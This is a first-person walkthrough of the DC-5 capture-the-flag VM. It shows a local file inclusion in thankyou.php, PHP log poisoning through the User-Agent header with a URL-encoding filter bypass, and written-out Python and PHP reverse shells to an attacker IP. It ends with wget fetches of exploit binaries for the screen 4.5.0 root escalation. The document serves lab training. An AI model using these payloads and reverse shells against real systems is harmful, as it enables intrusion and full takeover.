DC5 Walkthrough

DC-5 is another boot2root from the DC series — a purposely vulnerable Debian 64-bit VM aimed at intermediate users. The author warns it’s a step up in difficulty, so it isn’t ideal for absolute beginners but is well suited to those with some Linux and prior boot2root experience. Unlike earlier DC machines, DC-5 exposes a single web-based entry point (there’s no SSH). The author hints at the vector: “look for something that changes when you refresh a page — and no, it’s not a PHPMailer exploit.” The objective is simple: gain root and retrieve the single flag. A basic comfort with the Linux command line and common pentesting tools will take you a long way. If you haven’t downloaded DC5 you can by clicking [here].
If you are curious on my setup, I am running Windows 11 as my host Operating System. VMware Workstation Pro running Kali Linux VM (bridged mode) as the attacker and DC5 VM (bridged mode) as the target.
I begin by using nmap’s ping sweep and netdiscover to find the IP of the target host.

After getting the target’s IP, I add 192.168.0.149 dc5
to /etc/hosts
so I can just browse to http://dc5
instead of the raw IP. Then I run an nmap
scan using default scripts (-sC
), service/version detection (-sV
), a full port sweep (-p-
), and -Pn
to skip host discovery in case ping is blocked, -oN saving results to a file.
Note: Adding the target to your /etc/hosts
file makes accessing it much easier. Instead of typing the IP address every time, you can simply use http://dc5
. To do this, open /etc/hosts
with a text editor like vim
and add the line:
192.168.0.149 dc
Make sure to replace 192.168.0.149
with the actual IP address of your target on your network.

The scan shows ports 111 (rpcbind) and 80 (nginx) are open — rpcbind suggests RPC/NFS-related services worth probing (ie: rpcinfo
, showmount
), while port 80 confirms a web server that’s definitely worth investigating.
Visiting web-server on port 80 which is running nginx 1.6.2 appears to be bunch of text that probably isn’t going to be too helpful. The only possibility of finding a vulnerability is contact form at /contact.php. Filling out the name, country, and subject takes me to /thankyou.php which includes the query string and the parameter which is the information that I filled out.
http://dc5/thankyou.php?firstname=Joe&lastname=Blow&country=usa&subject=Hello

Wondering if one of the query strings could possibly be injectable I tried running wfuzz against the query strings firstname, lastname, country, and subject without any luck. I remember the author hints at the attack vector: “look for something that changes when you refresh a page — and no, it’s not a PHPMailer exploit”.
I refreshed the home, solutions, about us, FAQ, and Contact and I could not see any changes after refreshing the pages. I realized that there was one page that I did not check which is /thankyou.php.



The page /thankyou.php showed something interesting the timestamp on the page changed every time I refreshed it. I couldn’t find any obvious injection points in the existing query strings, so I started looking for hidden parameters (things like thankyou.php?upload=
or ?download=
) that the app might accept but not advertise.
To hunt those down I decided to fuzz the query string names. I pointed wfuzz
at thankyou.php
and fed it /usr/share/wfuzz/wordlist/general/big.txt
to try a large list of possible parameter names. To cut down on noisy results I filtered the output with --hw 66
so I could focus on responses that looked different from the normal page.

After spinning my wheels for hours I finally started making progress. The screenshot above shows I found a parameter called file
a promising sign that it might be vulnerable to Local File Inclusion. I didn’t waste any time and tested it with a basic LFI payload, for example:
http://dc5/thankyou.php?file=../../../../../../etc/passwd

Checking /etc/passwd
shows two accounts root
and dc
but SSH isn’t running, so a brute-force/dictionary attack isn’t an option. Right now the LFI only lets me read files that the web server user can access, but that’s useful: I remembered a past CTF where reading the webserver logs via LFI let me escalate to code execution.
The idea is simple: if I can control what gets written into a log (for example with the User-Agent
or Referer
headers), I can stick a PHP payload into the logs:
User-Agent: <?php system($_GET['cmd']); ?>
If the application later includes that log file via LFI, the PHP will be parsed and executed giving me RCE. Whether this works depends on a few PHP settings and file permissions, but it’s a common and reliable escalation path in CTFs, so it’s worth trying.
Since this box runs nginx, the default access log is at /var/log/nginx/access.log
. I used the LFI to read that file — you can see the contents in the screenshot below, confirming the webserver’s logs are readable.

So I decided to try out Local File Inclusion with Remote Code Execution via log poisoning while I was writing this. No idea if it’s going to work, but figured it’s worth a shot.
First, I wanted to see if the headers I control User-Agent and Referer actually get logged. I used curl
to inject some simple markers that I could easily find in the logs:`
curl -s -H "User-Agent: CTF_MARKER_12345" -H "Referer: https://example.com/marker" "http://dc5/faq.php" -o /dev/null
After sending that request, I checked the Nginx access.log
and yep both headers were being logged correctly (see Figure 1, line 2 below). So I knew I could potentially use them to inject PHP.
Next, I tried putting some PHP code in the User-Agent:
curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
-H "Referer: https://example.com/marker" "http://dc5/faq.php" -o /dev/null
But when I looked in the logs, the PHP code didn’t show up it got stripped (line two):
1: "GET /faq.php HTTP/1.1" 200 5658 "https://example.com/marker" "CTF_MARKER_12345" 192.168.0.74 - - [21/Sep/2025:10:57:08 +1000]
2: "GET /faq.php HTTP/1.1" 200 5658 "https://example.com/marker" ""
Figure 1: /var/log/nginx/access.log
Next, I figured I needed a way to get around the filtering of <?php ... ?>
. I decided to try something simple first: URL-encode the angle brackets (<
and >
) before sending the request.
Here’s the curl
command I used:
curl -s -H "User-Agent: %3C%3Fphp system(\$_GET['cmd']); ?%3E" "http://dc5/faq.php" -o /dev/null
And just like that, it worked! Simply URL-encoding the brackets was enough to bypass the filtering. When I checked /var/log/nginx/access.log
, the PHP code appeared exactly as I wanted it. Screenshot below shows access.log injected PHP code.

So why did I inject <?php system($_GET['cmd']); ?>
into the access log? The idea is pretty simple: since the web server logs headers like User-Agent into a file we can read via Local File Inclusion (LFI), we can turn the log file into a sort of “PHP backdoor.”
By putting <?php system($_GET['cmd']); ?>
in the log:
- When we access the log through the LFI vulnerability (
thankyou.php?file=...
), PHP sees the<?php ... ?>
code and executes it. - The
system($_GET['cmd'])
part lets us run any shell command we pass in the URL, like?cmd=ls
or?cmd=cat /etc/passwd
.
Basically, we’ve converted a log file into a way to execute commands on the server remotely, which is exactly what you want in a boot2root CTF when trying to escalate access and explore the system.
It’s a neat trick because normally, LFI only lets you read files, but with log poisoning, you can turn it into Remote Code Execution (RCE).
Wasting no time I tested the &cmd= to see if it works properly.

I discovered a Local File Inclusion (LFI) bug on the target and was able to escalate that into Remote Code Execution (RCE). At first I used the site’s access.log
to get commands executed, which proves I can run stuff on the box but executing one off commands from a log is pretty limited. My goal was a more interactive shell so I could explore and try privilege escalation.
Before doing the reverse shell, I checked the system for interpreters. I saw Python installed, and I also knew PHP was available. That helped me decide which reverse-shell approach to try.
On my machine I started a listener to catch an incoming shell:
nc -lvnp 4444
I first tried a common Python one-liner to connect back to my listener:
Python Reverse Shell: python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.0.74",4444));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
Python Reverse Shell (URL Encoded): python%20-c%20%27import%20socket%2Csubprocess%2Cos%3B%0As%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3B%0As.connect%28%28%22192.168.0.74%22%2C4444%29%29%3B%0Aos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3B%0Ap%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27
Full LFI + RCE Python reverse shell request: /thankyou.php?file=../../../../../../var/log/nginx/access.log&cmd=python%20-c%20%27import%20socket%2Csubprocess%2Cos%3B%0A%0As%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3B%0A%0As.connect%28%28%22192.168.0.74%22%2C4444%29%29%3B%0A%0Aos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3B%0A%0Ap%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B
That Python attempt didn’t get me a shell for some reason. It sometimes happens in CTFs different environments filter or block specific approaches.
Because PHP was present on the target, I tried a simple PHP reverse shell and that one succeeded. I sent the PHP command through the same LFI path and got a shell back.
Here’s the full GET request I used (URL-encoded command in the cmd
parameter):
GET /thankyou.php?file=../../../../../../var/log/nginx/access.log&cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.0.74%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27 HTTP/1.1
Host: dc5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
After sending that, my nc -lvnp 4444
listener caught a reverse shell and I had an interactive session on the target.


As you can see from the screenshot above, the reverse shell I got at first was a non-TTY shell. Non-TTY shells work, but they have some annoying limitations — for example, you can’t use interactive commands like vim
, top
, or even proper tab-completion, and signals like CTRL+C
might not behave correctly.
To make the shell more usable, I upgraded it to a full TTY shell using Python and the pty
module. This gives a proper interactive terminal, so commands behave more like they would if I were logged in directly on the system.
Here’s the command I used to spawn the TTY shell:
python -c 'import pty; pty.spawn("/bin/bash");'
Make sure to pay close attention to single quotes vs double quotes syntax when typing the above command. Now that I got a reverse shell on the target it’s snoop around.
Approximately 3 hours later ….
I spent almost three hours looking around the target seeing if I can find a way in. I kept in mind the fact that the author of this CTF said that there is only one way in. Checking “netstat -tulnp“, I noticed that locally the target is running MySQL on port 3309 and SMTP on port 25. I tried searching for the string password throughout the file system and the only promising information I found is:
/etc/logcheck/ignore.d.server/mysql-server-5_5:29:mysqld_safe\[[0-9]+\]: /usr/bin/mysqladmin -u root -h app109 password 'new-password'$
Unfortunately, the password I found earlier didn’t work for MySQL on the target. I tried a few common usernames like mysql
, root
, and admin
with some typical passwords, but none of them worked.
While exploring the system, I decided to check for SUID binaries. The only one that looked interesting was /bin/screen-4.5.0
. It turns out that this is actually a symbolic link pointing to /bin/screen
.
What caught my attention was the name of the link itself — screen-4.5.0
. The fact that the author included the version number made me think this specific version might be important. After doing a quick search for “Linux screen 4.5.0 exploit,” I discovered that this version has a local privilege escalation vulnerability. In our CTF scenario, this is perfect because it could allow me to get a root shell.
I found the exploit code and instructions on ExploitDB, and YasserREED also provided a helpful version on his GitHub page with usage instructions. This is a great example of how paying attention to small details, like a version number in a symlink, can point you directly to an exploit.
I’m not including a screenshot of the exact commands I used because you can easily find them on YasserREED’s GitHub page that I linked earlier. In short, I cloned the GitHub repository to get the exploit source code and then compiled it on my attacker machine.
Next, on my Kali Linux machine, I started a temporary web server in the same directory as the compiled code using:
php -S 0.0.0.0:8000
From the target machine, I downloaded the two necessary binaries using wget
like this:
wget -O libhax.so http://192.168.0.75:8000/libhax.so
wget -O rootshell http://192.168.0.75:8000/rootshell
This downloaded both libhax.so
and the rootshell
binary to the target’s /tmp
directory.
After that, I followed the usage instructions from the GitHub page and was able to get a root shell. Here’s a screenshot showing that I successfully got root access

Now that I got a root shell all that is left is to read /root/thisistheflag.txt.

So far, working through the DC1 to DC5 series, I found that DC5 was by far the most challenging. One key thing I learned is that not every query string you see in a URL is actually vulnerable. Sometimes you have to think outside the box, try different approaches, and even fuzz the application to discover hidden query strings that might have been used internally or during development and then forgotten.
The more CTFs I do, the more I realize that every vulnerability is unique. For example, not every Local File Inclusion (LFI) works the same way some allow remote code execution directly, while others need a bit of creativity to exploit. Each challenge teaches you something new about how applications are built and how security mistakes can vary.
I’ve also learned that patience and careful observation pay off. Small details, like a symlink named after a specific version, can be the clue that makes a big difference. Every step, even the ones that don’t immediately work (like the failed reverse shell using python), helps me understand the system better and improves my skills as I go.
As always, I’ll finish with a relevant quote. Thanks for reading.
Success is the sum of small efforts – repeated day in and day out.
Robert Collier